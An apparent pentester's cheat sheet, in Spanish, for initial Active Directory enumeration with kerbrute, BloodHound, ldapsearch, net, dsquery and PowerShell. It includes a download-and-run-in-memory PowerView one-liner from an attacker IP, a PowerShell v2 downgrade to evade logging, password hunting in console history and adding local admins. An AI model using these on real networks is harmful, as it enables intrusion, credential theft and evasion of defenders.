Skip to content

Active Directory — Initial Enumeration

Herramientas de referencia

Instalación de herramientas clave

Kerbrute — compilar desde fuente

c
❯ sudo git clone https://github.com/ropnop/kerbrute.git
❯ cd /tmp/kerbrute
❯ sudo make all
❯ sudo mv kerbrute_linux_amd64 /usr/local/bin/kerbrute
❯ ./kerbrute_linux_amd64

evil-winrm

c
❯ gem install evil-winrm

BloodHound — iniciar base de datos Neo4j

c
❯ sudo neo4j start

Reconocimiento de red desde Linux

Wireshark y tcpdump — captura de tráfico

c
❯ sudo -E wireshark
❯ sudo tcpdump -i ens224
  • Útil para capturar tráfico de la red y descubrir hosts, protocolos y credenciales en texto claro circulando por el segmento — combinar con el envenenamiento LLMNR/NBT-NS (ver el documento dedicado de esta colección) para capturar hashes NTLMv2 pasando por la interfaz.

nmap — escaneo de hosts

c
# Escaneo de un host específico
❯ nmap -A 172.16.5.100

# Escaneo de lista de hosts con output a archivo
❯ sudo nmap -v -A -iL hosts.txt -oN /home/user/Documents/host-enum

OSINT externo

Google Dorks

c
filetype:pdf inurl:empresacorp.com
intext:"@empresacorp.com" inurl:empresacorp.com

Credential Hunting

c
❯ sudo python3 dehashed.py -q empresacorp.local -p

Reconocimiento básico del host (Windows)

c
hostname
[System.Environment]::OSVersion.Version
wmic qfe get Caption,Description,HotFixID,InstalledOn
ipconfig /all
set
echo %USERDOMAIN%
echo %logonserver%
arp -a
route print
netsh advfirewall show allprofiles
sc query windefend
Get-MpComputerStatus
qwinsta

PowerShell — información básica

powershell
Get-Module
Get-ExecutionPolicy -List
Set-ExecutionPolicy Bypass -Scope Process
Get-ChildItem Env: | ft Key,Value
Get-Content $env:APPDATA\Microsoft\Windows\Powershell\PSReadline\ConsoleHost_history.txt
  • El historial de PSReadline (ConsoleHost_history.txt) a menudo contiene comandos previos ejecutados por otros usuarios/administradores en la misma máquina — incluyendo, ocasionalmente, contraseñas pasadas como argumento en texto plano.

Descargar y ejecutar desde memoria

powershell
powershell -nop -c "iex(New-Object Net.WebClient).DownloadString('http://<IP>/PowerView.ps1'); <comando>"
  • -nop (-NoProfile) : evita cargar el perfil de PowerShell del usuario, reduciendo la huella dejada y acelerando el arranque.
  • Ejecutar el script directamente en memoria (IEX) evita escribirlo en disco, reduciendo la probabilidad de detección por AV basado en firmas de archivo — aunque EDRs modernos con AMSI suelen inspeccionar igualmente el contenido en memoria.

Bajar versión de PowerShell (evadir logging)

powershell
powershell.exe -version 2
Get-host
  • PowerShell v2 no tiene los mismos mecanismos de logging avanzado (Script Block Logging, AMSI) introducidos en v5+ — si el motor v2 sigue instalado (deprecado pero a veces presente por compatibilidad), forzar su uso reduce la visibilidad para el equipo defensor.

Ping sweep en PowerShell

powershell
6..7 | ForEach-Object { $i = $_; 1..254 | ForEach-Object { if (Test-Connection -ComputerName "172.16.$i.$_" -Count 1 -Quiet) { write-host "172.16.$i.$_ is UP" } } }

WMI — Reconocimiento del sistema

c
# Sistema y dominio
wmic computersystem get Name,Domain,Manufacturer,Model,Username,Roles /format:List

# Todos los procesos activos
wmic process list /format:list

# DCs del dominio
wmic ntdomain list /format:list
wmic ntdomain get Caption,Description,DnsForestName,DomainName,DomainControllerAddress

# Cuentas de usuario
wmic useraccount list /format:list

# Grupos locales
wmic group list /format:list

# Cuentas de servicio
wmic sysaccount list /format:list
  • wmic está deprecado desde Windows 10 21H1+ a favor de PowerShell/CIM — sigue presente en muchos sistemas, pero conviene tener también a mano los equivalentes Get-CimInstance (ver Windows-Remote-Management-Protocols.md) para sistemas donde ya fue removido.

Net Commands — enumeración rápida

c
net accounts               # política de contraseñas local
net accounts /domain       # política de contraseñas del dominio
net user /domain           # todos los usuarios del dominio
net user <usuario> /domain # info de un usuario específico
net user %username%        # info del usuario actual
net group /domain          # todos los grupos del dominio
net group "Domain Admins" /domain
net group "Domain Controllers" /domain
net group "domain computers" /domain
net group <nombre_grupo> /domain
net localgroup             # grupos locales
net localgroup Administrators
net localgroup administrators /domain
net localgroup administrators [username] /add
net share                  # recursos compartidos actuales
net use x: \\computer\share
net view
net view /all /domain
net view \\computer /ALL
net view /domain

Módulo ActiveDirectory (PowerShell)

powershell
Import-Module ActiveDirectory

# Dominio
Get-ADDomain
Get-ADDomainController
Get-ADForest

# Usuarios
Get-ADUser -Filter *
Get-ADUser -Identity <usuario> -Properties *
Get-ADUser -Filter {Enabled -eq $true}
Get-ADUser -Filter {PasswordNeverExpires -eq $true}
Get-ADUser -Filter {ServicePrincipalName -ne "$null"} -Properties ServicePrincipalName
Get-ADUser -Filter * -Properties MemberOf
  • PasswordNeverExpires -eq $true : identifica cuentas de servicio o legacy con contraseñas nunca rotadas — candidatos de alto valor para fuerza bruta/spraying.
  • ServicePrincipalName -ne "$null" : lista cuentas con SPN asignado, el requisito para ataques Kerberoasting (ver el documento dedicado de Kerberos en esta colección).
powershell
# Grupos
Get-ADGroup -Filter * | select name
Get-ADGroup -Identity "Backup Operators"
Get-ADGroupMember -Identity "Domain Admins"

# Computadoras
Get-ADComputer -Filter *
Get-ADComputer -Filter {OperatingSystem -like "*Server*"}

# OUs
Get-ADOrganizationalUnit -Filter *

# Política de contraseñas
Get-ADDefaultDomainPasswordPolicy

# Trusts
Get-ADTrust -Filter *

# Objetos LDAP
Get-ADObject -LDAPFilter "(objectClass=*)"
Get-ADObject -Identity "<DistinguishedName>"

Dsquery

c
# Usuarios
dsquery user

# Computadoras
dsquery computer

# Wildcard en un contenedor
dsquery * "CN=Users,DC=EMPRESACORP,DC=LOCAL"

# Cuentas con PASSWD_NOTREQD (no requieren contraseña)
dsquery * -filter "(&(objectCategory=person)(objectClass=user)(userAccountControl:1.2.840.113556.1.4.803:=32))" -attr distinguishedName userAccountControl

# Domain Controllers
dsquery * -filter "(userAccountControl:1.2.840.113556.1.4.803:=8192)" -limit 5 -attr sAMAccountName
  • PASSWD_NOTREQD (flag 32 en userAccountControl) es una configuración legacy peligrosa: la cuenta puede tener contraseña vacía sin que el sistema lo impida — siempre vale la pena probar autenticación con contraseña vacía contra estas cuentas.

Enumeración desde Linux

ldapsearch

c
# Política de contraseñas (sesión anónima)
❯ ldapsearch -H ldap://172.16.5.5 -x -b "DC=EMPRESACORP,DC=LOCAL" -s sub "*" | grep -m 1 -B 10 pwdHistoryLength

# Todos los usuarios (sesión anónima)
❯ ldapsearch -h 172.16.5.5 -x -b "DC=EMPRESACORP,DC=LOCAL" -s sub "(&(objectclass=user))" | grep sAMAccountName: | cut -f2 -d" "
  • Que LDAP acepte bind anónimo (sin credenciales) es en sí mismo un hallazgo de configuración débil — muchos entornos modernos lo deshabilitan, pero sigue siendo común en dominios legacy.

windapsearch

c
❯ ./windapsearch.py --dc-ip 172.16.5.5 -u "" -U
❯ ./windapsearch.py --dc-ip 172.16.5.5 -u jsmith@empresacorp.local -p 'Password123!' --da
❯ ./windapsearch.py --dc-ip 172.16.5.5 -u jsmith@empresacorp.local -p 'Password123!' -PU
  • --da : enumera miembros del grupo Domain Admins directamente.
  • -PU : enumera usuarios con privilegios (miembros de grupos privilegiados) de forma más amplia que solo Domain Admins.

BloodHound.py

c
❯ bloodhound-python -u 'jsmith' -p 'Password123!' -ns 172.16.5.5 -d empresacorp.local -c all
❯ zip -r empresacorp_bh.zip *.json
  • -c all : recolecta todas las categorías de datos disponibles (sesiones, ACLs, membresías de grupo, trusts, etc.) — el resultado se importa directamente en la interfaz de BloodHound para análisis visual de rutas de ataque hacia Domain Admin.

adidnsdump

c
❯ adidnsdump -u empresacorp\\jsmith ldap://172.16.5.5
❯ adidnsdump -u empresacorp\\jsmith ldap://172.16.5.5 -r
  • -r : intenta resolver también los registros que no tienen permiso de lectura por defecto, ampliando la cobertura del volcado de la zona DNS interna — útil para mapear todos los hosts internos del dominio, incluso los no descubiertos por otros medios.